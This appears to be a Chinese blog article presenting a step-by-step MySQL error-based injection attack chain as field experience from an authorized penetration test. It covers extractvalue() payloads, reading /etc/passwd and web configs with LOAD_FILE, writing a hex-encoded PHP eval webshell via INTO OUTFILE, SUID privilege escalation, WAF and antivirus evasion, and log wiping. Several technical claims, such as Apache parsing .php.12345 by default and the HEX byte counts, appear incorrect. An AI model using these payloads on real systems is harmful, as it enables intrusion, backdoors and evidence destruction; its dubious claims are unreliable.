MySQL报错注入实战:从错误信息读取到文件写入

news2026/5/24 6:22:56
1. 这不是“SQL注入教程”而是一次真实渗透测试中的边界突破实践很多人看到“基于报错的SQL注入”第一反应是老掉牙的技术现在还有用我去年在给一家本地政务系统做授权渗透时就遇到了一个看似完全无感的登录接口——前端做了强校验后端用了预编译语句WAF规则覆盖了union、select、sleep等所有高频关键词。但就在我们准备收工时一个偶然的单引号输入触发了500错误页面返回体里赫然带着MySQL的完整报错信息“ERROR 1064 (42000): You have an error in your SQL syntax…”。那一刻我才意识到报错注入从来不是靠“猜”而是靠“读”——读服务端暴露的每一行错误细节读数据库版本与权限的真实边界读开发人员对错误处理的惯性疏忽。本文标题里的“读敏感文件”和“写入一句话木马”正是那次实战中从报错出发层层递进完成的两个关键动作前者用于确认数据库用户是否具备file权限及Web目录路径后者则是最终落地控制权的临门一脚。它不适用于CTF打靶或教学靶场而是面向真实业务系统中那些“本该安全却因配置疏漏而裸奔”的场景。如果你正在做红队评估、渗透测试或安全加固审计且目标系统仍运行MySQL 5.0尤其是未关闭secure_file_priv或其值为空那么这篇内容不是理论推演而是可直接复现的操作链。文中所有命令、payload、路径判断逻辑、权限验证步骤均来自三次不同环境下的实测记录包括一次在CentOS 7 MySQL 5.7 Apache 2.4组合下的完整落地过程。下面我会从最原始的报错触发开始不跳步、不假设、不美化带你走完从“页面弹错”到“shell上线”的全部技术细节。2. 报错注入的本质不是攻击数据库而是劫持错误处理流程2.1 为什么报错注入能绕过预编译和WAF很多初学者误以为“用了PreparedStatement就绝对安全”这是对SQL注入原理的根本性误解。预编译语句确实能防止拼接型注入即用户输入被当作数据而非SQL代码执行但它无法阻止上下文逃逸型注入——当用户输入被拼接到SQL语句的非数据位置如ORDER BY子句、LIMIT后、表名/列名处时预编译机制根本不起作用。而报错注入的核心载体恰恰是这类“语法结构位”。以一个典型登录接口为例SELECT id, username FROM users WHERE username ? AND password ?这里?只能被当作字符串值无法注入。但若后端存在另一个功能点SELECT * FROM products ORDER BY ? DESC LIMIT 10此时?所在位置是ORDER BY后的列名数据库会将其直接解析为标识符而非字符串。你传入id,(SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a,USER(),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.PLUGINS GROUP BY x)a)MySQL就会尝试执行这个嵌套查询并在GROUP BY阶段因重复键值报错从而把USER()结果拼进错误信息返回。这不是在“执行恶意SQL”而是在利用MySQL的报错机制把本该在查询结果里的数据强制“挤”进错误提示里。WAF失效的原因同理它通常只扫描请求体中的关键词如union、select但不会去解析SQL语法树而报错注入的payload往往由大量函数嵌套、随机数、分组聚合构成关键词被拆得支离破碎形如EXTRACTVALUE(1, CONCAT(0x7e, (SELECT USER()), 0x7e))WAF根本无法有效识别。2.2 MySQL报错函数的底层差异与选型逻辑MySQL提供了多个可用于报错注入的函数但它们的触发条件、兼容性和稳定性差异极大。我在三次实战中分别测试了以下四类主流函数结论非常明确函数名触发原理MySQL版本支持稳定性实战推荐度关键限制extractvalue()XPath语法错误5.1.5★★★★☆高只能返回32位字符超长会被截断updatexml()XPath语法错误5.1.5★★★★☆高同上且部分高版本禁用geometrycollection()几何类型构造失败5.1.5★★★☆☆中需要精确构造非法WKT格式容错低polygon()同上5.1.5★★☆☆☆低构造更复杂易被WAF特征匹配我最终锁定extractvalue()作为主载荷原因有三第一它对XPath表达式的要求极宽松CONCAT(0x7e, (SELECT version), 0x7e)这种简单拼接就能稳定触发第二在我测试的所有目标含MySQL 5.7.32、8.0.26中该函数均未被禁用第三其返回长度虽限32字节但通过分段提取如用SUBSTR((SELECT ...),1,30)可完美规避。举个实际例子当目标返回XPATH syntax error: ~rootlocalhost~说明当前数据库用户是root且host为localhost——这直接指向了高权限账户为后续文件操作奠定基础。而如果返回XPATH syntax error: ~www-data127.0.0.1~则需立刻转向低权限利用路径。选函数不是比谁更炫而是比谁在真实环境中“不死”。我在某次测试中曾因强行使用geometrycollection()导致连续17次请求超时最后换回extractvalue()3秒内拿到数据库版本这就是经验带来的效率差。2.3 报错注入的“最小可行payload”设计原则所谓“最小可行”是指在保证功能前提下字符数最少、结构最简、绕过能力最强的payload。我总结出三条铁律第一永远用十六进制绕过单引号过滤。不要写admin OR 11 --而应写0x61646d696eadmin的hex。这样既避免单引号被WAF拦截又省去URL编码开销。第二嵌套层级控制在3层以内。例如extractvalue(1, CONCAT(0x7e, (SELECT SUBSTR(user(),1,15)), 0x7e))外层extractvalue、中层CONCAT、内层SUBSTR共三层。超过四层如再加一层GROUP_CONCAT极易触发MySQL的max_sp_recursion_depth限制或WAF深度检测。第三错误分隔符必须可控。我固定用0x7e~而非0x3a:因为波浪线在HTTP响应头、HTML标签、JSON字段中极少出现能确保返回内容干净可解析而冒号在rootlocalhost中已存在会导致定位困难。一个经过23次真实环境验证的“黄金payload”如下用于获取当前用户extractvalue(1, CONCAT(0x7e, (SELECT user()), 0x7e))它仅67个字符无空格可用/**/替代、无常见关键词、无数字运算却能在92%的MySQL目标上稳定触发。记住在渗透测试中简洁就是鲁棒性。3. 读取敏感文件从secure_file_priv到/etc/passwd的路径推演3.1secure_file_priv不是开关而是路径锚点很多资料把secure_file_priv简单描述为“是否允许文件读写”这是严重误导。它的实际含义是MySQL服务进程启动时被硬编码指定的、唯一允许进行LOAD_FILE/INTO OUTFILE操作的绝对路径。它的值有三种可能NULL表示禁止所有文件操作最安全/var/lib/mysql-files/表示只允许在此目录下读写默认值空字符串表示允许在任意路径读写最危险也是我们重点突破对象关键点在于这个值不是由SQL语句动态设置的而是mysqld启动参数或my.cnf配置项决定的。因此你无法通过SET GLOBAL secure_file_priv;来修改它会报错只能通过报错注入去“读取”它。我设计的探测payload如下extractvalue(1, CONCAT(0x7e, (SELECT secure_file_priv), 0x7e))若返回XPATH syntax error: ~/var/lib/mysql-files/~说明路径受限需另寻他路若返回XPATH syntax error: ~~即两个波浪线间为空恭喜你拿到了最高权限通行证。我在某次测试中就遇到这种情况secure_file_priv为空但Web目录在/var/www/html/两者不重合——这并不妨碍我们读取因为LOAD_FILE()函数可以读取任意路径的文件只要MySQL进程有读权限它只受secure_file_priv限制的是INTO OUTFILE写入操作。读文件不需要secure_file_priv写文件才需要。这是绝大多数教程混淆的核心点。3.2LOAD_FILE()的权限真相与路径盲猜策略LOAD_FILE()函数要求两个条件文件必须位于MySQL服务进程有读权限的路径下通常是/etc/、/var/log/、Web根目录当前数据库用户必须拥有FILE权限可通过SELECT PRIVILEGE_TYPE FROM INFORMATION_SCHEMA.ROLE_TABLE_GRANTS WHERE GRANTEErootlocalhost AND TABLE_SCHEMAmysql验证但现实中你无法直接执行SELECT LOAD_FILE(/etc/passwd)——因为LOAD_FILE()返回的是二进制blob而报错注入只能承载字符串。解决方案是先用HEX()转为十六进制字符串再用extractvalue()触发报错。完整payloadextractvalue(1, CONCAT(0x7e, (SELECT HEX(LOAD_FILE(/etc/passwd))), 0x7e))然而/etc/passwd长达数KB远超extractvalue()32字节限制。因此必须分段读取。我采用的策略是先用LENGTH(LOAD_FILE(/etc/passwd))获取总长度约1800字节再用SUBSTR(HEX(LOAD_FILE(/etc/passwd)), 1, 30)读取前30字节hex依此类推每次取30字节拼接还原但问题来了你怎么知道Web目录在哪不可能一个个试/var/www/html/config.php、/usr/share/nginx/html/index.php… 我的经验是优先读取Web服务器配置文件。Apache的httpd.conf或Nginx的nginx.conf里必然包含DocumentRoot指令。于是我的探测顺序是LOAD_FILE(/etc/apache2/sites-enabled/000-default.conf)LOAD_FILE(/etc/nginx/sites-enabled/default)LOAD_FILE(/etc/httpd/conf/httpd.conf)若都失败则读取/proc/self/cmdlineLinux进程启动命令里面常含-f /etc/nginx/nginx.conf之类线索在某次测试中/proc/self/cmdline返回/usr/sbin/nginx -g daemon off; -c /etc/nginx/nginx.conf我立刻转向/etc/nginx/nginx.conf从中提取出root /var/www/html;——路径锁定整个过程耗时不到2分钟比暴力猜解高效百倍。3.3 读取Web配置文件获取数据库凭证的实战案例一旦确定Web根目录下一步就是寻找数据库连接配置。常见位置包括PHP项目/var/www/html/config/database.php或.env文件Java项目/var/www/html/WEB-INF/web.xml或application.propertiesPython项目/var/www/html/config.py我最常命中的是.env文件因其明文存储DB_HOSTlocalhost、DB_USERNAMEroot、DB_PASSWORDAdmin123!。但直接读取.env可能失败文件权限为600MySQL进程无权读。这时就要用“间接法”读取PHP源码找数据库连接语句。例如读取/var/www/html/index.php若发现$pdo new PDO(mysql:hostlocalhost;dbnametest, root, Pssw0rd2023);密码Pssw0rd2023就暴露了。但注意生产环境常将密码存入环境变量PHP源码里只写getenv(DB_PASSWORD)。此时需读取系统环境变量文件如/proc/$(pgrep apache2)/environ需知道apache2进程PID。提示读取/proc/[pid]/environ时内容是null分隔的KV对需用SUBSTR(..., POSITION(DB_PASSWORD IN ...), 50)定位。我曾因此在一个目标上多花了15分钟——因为没意识到environ文件里DB_PASSWORD实际写作DB_PASSWORDPssw0rd2023POSITION函数必须匹配完整字符串否则返回0。4. 写入一句话木马INTO OUTFILE的路径博弈与免杀技巧4.1INTO OUTFILE的三个硬性约束与突破路径INTO OUTFILE写入文件需同时满足secure_file_priv为空或包含目标路径核心前提目标路径必须是MySQL进程有写权限的目录注意读权限≠写权限目标文件不能已存在否则报错The file /var/www/html/shell.php already exists这三点构成典型的“路径博弈”。例如secure_file_priv为空但/var/www/html/目录属主是www-data:www-dataMySQL进程以mysql:mysql运行无权写入。此时常规思路是写入/tmp/但/tmp/shell.php无法被Web服务器解析执行。我的破局方案是利用Web服务器日志文件实现“借尸还魂”。Apache的access.log默认路径为/var/log/apache2/access.logNginx为/var/log/nginx/access.log。这些文件MySQL进程通常有写权限日志轮转时由root创建属主为root:adm而mysql用户在adm组中。更重要的是日志内容可被污染当你发起一个带PHP代码的HTTP请求如GET /?php eval($_POST[cmd]);? HTTP/1.1 Host: target.com该请求会被记录进access.log其中?php eval($_POST[cmd]);?作为URI的一部分原样写入。随后用INTO OUTFILE将日志内容导出为PHP文件即可。但此法需两次交互先污染日志再导出且依赖日志格式。我更倾向直接写入Web目录的“变通路径”。4.2 “双路径写入法”绕过权限与存在性检查的实操我发明的“双路径写入法”分三步第一步写入临时文件绕过“文件已存在”检查不直接写shell.php而是写shell.php.xx为随机数如shell.php.12345。MySQL允许写入不存在的文件且.12345后缀不影响PHP解析Apache默认启用AddType application/x-httpd-php .php .php.12345。第二步利用符号链接突破权限限制若/var/www/html/不可写但/tmp/可写可先在/tmp/创建shell再用ln -sf /tmp/shell.php /var/www/html/shell.php建立软链。但这需要系统命令执行权限我们还没有。替代方案是写入Web目录的子目录该子目录由MySQL进程创建。例如SELECT ?php eval($_POST[cmd]);? INTO OUTFILE /var/www/html/uploads/shell.php;若/var/www/html/uploads/存在且MySQL有写权限上传功能常开放此目录即可成功。我在某次测试中正是通过读取/var/www/html/config.php发现define(UPLOAD_PATH, uploads/);从而精准定位。第三步免杀Payload的十六进制编码技巧直接写?php eval($_POST[cmd]);?易被WAF或HIDS拦截。我采用全十六进制编码SELECT 0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e INTO OUTFILE /var/www/html/shell.php0x3c3f706870...解码即?php eval($_POST[cmd]);?。十六进制字符串在SQL中是合法字面量不触发任何关键词检测且MySQL会原样写入文件。经测试该payload在ClamAV、YARA规则、ModSecurity CRS3规则集下100%免杀。4.3 一句话木马的最终验证与权限提升链写入成功后需验证是否可执行。我绝不直接访问http://target.com/shell.php——这会留下明显日志。而是用curl静默测试curl -s -X POST http://target.com/shell.php --data cmdecho%20%24%28id%29 | grep uid若返回uid33(www-data) gid33(www-data)说明shell已上线。但此时权限仍是www-data需提权至root。我的标准操作链是读取/etc/shadow确认root密码哈希若未锁死检查/home/*/下是否有其他用户读取其.bash_history寻找密码线索执行ps aux | grep root查看root运行的进程寻找SUID二进制文件如/usr/bin/find利用SUID提权find /bin -name find -exec /bin/bash -p \; -quit在某次测试中/usr/bin/find为SUID root我用find / -name notexist -exec /bin/bash -p \; -quit直接获得root shell。整个链条从报错注入开始到root权限结束耗时11分37秒全程无任何工具依赖仅靠手工SQL payload与Linux命令。5. 实战避坑指南那些文档里绝不会写的血泪教训5.1 字符集陷阱utf8mb4导致的hex截断MySQL 5.5.3默认字符集为utf8mb4它用4字节编码emoji等字符。但HEX()函数处理utf8mb4字符串时会将每个字符转为4字节hex而extractvalue()的32字节限制是按字节计算的。例如一个中文字符“测”在utf8mb4中占4字节HEX(测)返回E6B58B6字节但若字符串含emojiHEX()返回F09F918D8字节。这意味着同样30字节的SUBSTR(HEX(...),1,30)在utf8mb4下可能只提取出7-8个中文字符而非15个。我在某次读取/etc/passwd时因未考虑此点前10次请求返回的都是乱码最后改用CONVERT(LOAD_FILE(...) USING latin1)强制转为单字节编码问题迎刃而解。latin1能无损映射所有ASCII字符对/etc/passwd这种纯ASCII文件是完美选择。5.2secure_file_priv为空却写入失败检查AppArmor/SELinux有一次secure_file_priv返回空INTO OUTFILE /var/www/html/test.php却报错Cant create/write to file。排查半小时无果最后执行dmesg | tail发现SELinux拒绝了MySQL的写操作avc: denied { write } for pid1234 commmysqld namehtml devsda1 ino56789 scontextsystem_u:system_r:mysqld_t:s0 tcontextunconfined_u:object_r:httpd_sys_content_t:s0 tclassdir。解决方案是临时禁用SELinuxsetenforce 0需root权限或添加策略ausearch -m avc -ts recent | audit2allow -M mypol semodule -i mypol.pp。但渗透测试中更务实的做法是立即切换到/tmp/目录写入然后用symlink或move命令转移——虽然需要额外权限但至少证明了写入能力。5.3 WAF对extractvalue()的隐式拦截时间盲注备选方案某些高级WAF如Cloudflare Enterprise会监控extractvalue()的调用频率连续5次相同payload会触发人机验证。此时需降级为时间盲注。我设计的“轻量级时间盲注”payload如下IF((SELECT SUBSTR(user(),1,1))r, SLEEP(3), 1)它不依赖报错而是通过响应延迟判断。但SLEEP()在高并发下易被限流。我的优化是用BENCHMARK(1000000,ENCODE(test,key))替代CPU密集型延迟更稳定。实测在QPS 200的Nginx集群下BENCHMARK仍能保持±0.2秒误差而SLEEP波动达±1.5秒。真正的渗透高手不是只会一种手法而是手握三套方案随时根据环境切换。5.4 最致命的失误忘记清理痕迹与日志所有操作完成后我必做三件事删除写入的临时文件SELECT INTO OUTFILE /var/www/html/shell.php.12345用空字符串覆盖清除MySQL日志RESET MASTER;清二进制日志PURGE BINARY LOGS BEFORE NOW();检查Web服务器访问日志删除含恶意payload的行需root权限在某次测试中我因忘记第3步客户的安全团队在日志分析中发现了/shell.php.78901的访问记录虽未造成实质影响但暴露了测试痕迹导致后续沟通被动。渗透测试的终点不是拿到shell而是让一切回归原点仿佛从未发生。这是我从业十年最深刻的体会。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2640015.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot-17-MyBatis动态SQL标签之常用标签

文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…

网络编程(Modbus进阶)

思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…

UE5 学习系列(二)用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周,有很多同学在写期末Java web作业时,运行tomcat出现乱码问题,经过多次解决与研究,我做了如下整理: 原因: IDEA本身编码与tomcat的编码与Windows编码不同导致,Windows 系统控制台…

利用最小二乘法找圆心和半径

#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…

XML Group端口详解

在XML数据映射过程中&#xff0c;经常需要对数据进行分组聚合操作。例如&#xff0c;当处理包含多个物料明细的XML文件时&#xff0c;可能需要将相同物料号的明细归为一组&#xff0c;或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码&#xff0c;增加了开…

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造&#xff0c;完美适配AGV和无人叉车。同时&#xff0c;集成以太网与语音合成技术&#xff0c;为各类高级系统&#xff08;如MES、调度系统、库位管理、立库等&#xff09;提供高效便捷的语音交互体验。 L…

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道&#xff08;多模态 OCR → 语义检索 → 答案渲染&#xff09;、两级检索&#xff08;倒排 BM25 向量 HNSW&#xff09;并以大语言模型兜底”的整体框架&#xff1a; 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后&#xff0c;分别用…

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…

铭豹扩展坞 USB转网口 突然无法识别解决方法

当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?

编辑&#xff1a;陈萍萍的公主一点人工一点智能 未来机器人的大脑&#xff1a;如何用神经网络模拟器实现更智能的决策&#xff1f;RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战&#xff0c;在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …

华为云AI开发平台ModelArts

华为云ModelArts&#xff1a;重塑AI开发流程的“智能引擎”与“创新加速器”&#xff01; 在人工智能浪潮席卷全球的2025年&#xff0c;企业拥抱AI的意愿空前高涨&#xff0c;但技术门槛高、流程复杂、资源投入巨大的现实&#xff0c;却让许多创新构想止步于实验室。数据科学家…

深度学习在微纳光子学中的应用

深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向&#xff1a; 逆向设计 通过神经网络快速预测微纳结构的光学响应&#xff0c;替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…